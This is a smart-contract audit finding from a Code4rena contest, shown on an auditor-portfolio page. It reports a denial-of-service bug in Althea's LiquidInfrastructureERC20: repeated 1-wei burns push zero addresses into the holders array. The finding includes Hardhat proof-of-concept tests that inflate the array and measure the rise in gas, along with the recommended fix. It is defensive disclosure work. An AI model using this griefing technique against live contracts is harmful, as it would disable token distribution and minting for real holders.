Althea Liquid Infrastructure - Honour's results

Liquid Infrastructure.

General Information

Platform: Code4rena

Start Date: 13/02/2024

Pot Size: $24,500 USDC

Total HM: 5

Participants: 84

Period: 6 days

Judge: 0xA5DF

Id: 331

League: ETH

Althea

Findings Distribution

Researcher Performance

Rank: 68/84

Findings: 1

Award: $7.18

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L143

Vulnerability details

Impact

An attacker can push enough zero addresses to the holders array to cause distribute and mint to fail with out of gas errors or consume too much gas

Proof of Concept

LiquidInfrastructureERC20::_beforeTokenTransfer() pushes the to address to the holders array if its balance is zero(indicating a new Holder). However, _beforeTokenTransfer() is always called before a burn with the to field initialized as an address(0), therfore burning the LiquidInfrastructureERC20 token will always push an address(0) to the holders array because the balanceOf will always be zero. By continuously burning as little as 1wei of LiquidInfrastructureERC20$(1/10^{18})$ an attacker could cause a single transaction distributions(i.e LiquidInfrastructureERC20::distributeToAllHolders()) or mint to fail with out of gas errors and even make multiple transaction distributions to be gas-intensive & take too many transactions to execute.

The attack on distribute is straight forward, the longer the the holder array the more gas is needed to iterate through it. The attack on mint is similar, the for-loop in _afterTokenTransfer runs on every mint ,armed with this , an attacker could potentially cause both mint and distributions to fail with out of gas errors


//Add test to test/liquidERC20.ts

it("should increase the number of holders after burn", async () => {
		const {infraERC20, badSigner } = await loadFixture(
			liquidErc20Fixture
		);

		await infraERC20.approveHolder(badSigner.address);
		await infraERC20.mint(badSigner.address, ONE_ETH);

		const HOLDERS_ARRAY_SLOT = 9;

		const numOfHoldersBeforeBurn = await getStorageAt(
			await infraERC20.getAddress(),
			HOLDERS_ARRAY_SLOT
		);

		//burning 1wei 10 times to increase the holder array by 10
		for (let i = 0; i < 10; i++) {
			await infraERC20.connect(badSigner).burn(1);
		}

		const numOfHoldersAfterBurn = await getStorageAt(
			await infraERC20.getAddress(),
			HOLDERS_ARRAY_SLOT
		);

		expect(parseInt(numOfHoldersAfterBurn)).to.equal(10 + parseInt(numOfHoldersBeforeBurn));
	});


  it("should increase mint cost after increasing holder array ", async () => {
		const { badSigner, holder1, infraERC20 } = await loadFixture(liquidErc20Fixture);

		await infraERC20.approveHolder(badSigner.address);
		await infraERC20.approveHolder(holder1.address);
    //mint with zero holders
		const firstMintTx = await infraERC20.mint(badSigner.address, ONE_ETH);
		const firstMintGas = (await firstMintTx.wait())?.gasUsed;

    //increase the holder array by 450 holders
		for (let i = 0; i < 450; i++) {
			await infraERC20.connect(badSigner).burn(1);
		}

    //mint with 451 holders
		const sedondMintTx = await infraERC20.mint(holder1.address, ONE_ETH);
		const secondMintGas = (await sedondMintTx.wait())?.gasUsed;

    //expect an increase in gas used, in this case 10x!!
		expect(secondMintGas).to.be.greaterThan(10n * firstMintGas!);
	});

Tools Used

Manual Review

Add address(0) check before pushing to holders array

File:contracts/LiquidInfrastructureERC20

//@ _beforeTokenTransfer()

143 if (!exists && to != address(0)) { // <@
144     holders.push(to);
145 }

Assessed type

DoS

#0 - c4-pre-sort

2024-02-22T04:34:19Z

0xRobocop marked the issue as duplicate of #77

#1 - c4-judge

2024-03-04T13:16:06Z

0xA5DF marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter